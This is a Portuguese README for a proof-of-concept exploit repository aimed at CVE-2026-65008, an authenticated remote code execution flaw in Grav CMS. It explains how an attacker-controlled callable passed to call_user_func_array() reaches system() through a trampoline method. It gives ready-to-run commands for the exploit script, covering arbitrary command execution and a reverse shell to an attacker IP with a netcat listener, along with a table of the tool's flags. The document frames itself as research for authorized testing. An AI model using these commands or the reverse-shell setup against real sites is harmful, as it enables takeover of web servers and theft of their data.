
CVE-2026-65008
Prova de conceito para CVE-2026-65008: execução remota de código autenticada no Grav CMS por meio de call_user_func_array() sem restrições em Blueprint::dynamicData().
Um usuário com admin.pages (ou api.pages.write) pode inserir um frontmatter de formulário malicioso. O payload então é executado como o usuário do servidor web quando qualquer visitante (incluindo não autenticados) carrega a página.
Somente testes autorizados. Use apenas em sistemas que você possua ou para os quais tenha permissão explícita por escrito para testar.
| Papel | |
|---|---|
| Relatores da vulnerabilidade | YuvalMil, MatiHub25, LeonKaya |
| Aviso do fornecedor | GHSA-fj2p-qj2f-74v5 |
| Este repositório | PoC / automação de laboratório independente |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
Blueprint::dynamicData() passa um callable Class::method controlado pelo atacante e argumentos para o call_user_func_array() do PHP sem allowlist. Combinado com Grav\Common\Utils::arrayFilterRecursive como um trampolim, isso alcança system() / passthru / etc.
Corrigido no Grav 2.0.7+.
9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requestsInstalação:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
Inicie o listener primeiro:
nc -lvnp 4444
Em seguida:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin (extraia login-nonce)admin_nonce no painel de administraçãodata-opts@:www-dataEste projeto é apenas para pesquisa de segurança educacional e autorizada. O autor não é responsável pelo uso indevido. Sempre obtenha permissão por escrito antes de testar sistemas de terceiros. A vulnerabilidade original foi divulgada por meio do aviso do fornecedor; este repositório apenas demonstra a reprodução em laboratório.
Para uso em pesquisa. Sem garantia.
| Flag | Descrição |
|---|
-u, --url | URL base do alvo (obrigatório) |
-U, --username | Usuário admin / de edição de páginas (padrão: admin) |
-P, --password | Senha (obrigatória) |
-c, --command | Comando a executar (padrão: id) |
--lhost | LHOST do reverse shell |
--lport | LPORT do reverse shell (padrão: 4444) |
--folder | Nome da pasta da página (padrão: rcepoc) |
--no-verify | Desativar verificação TLS |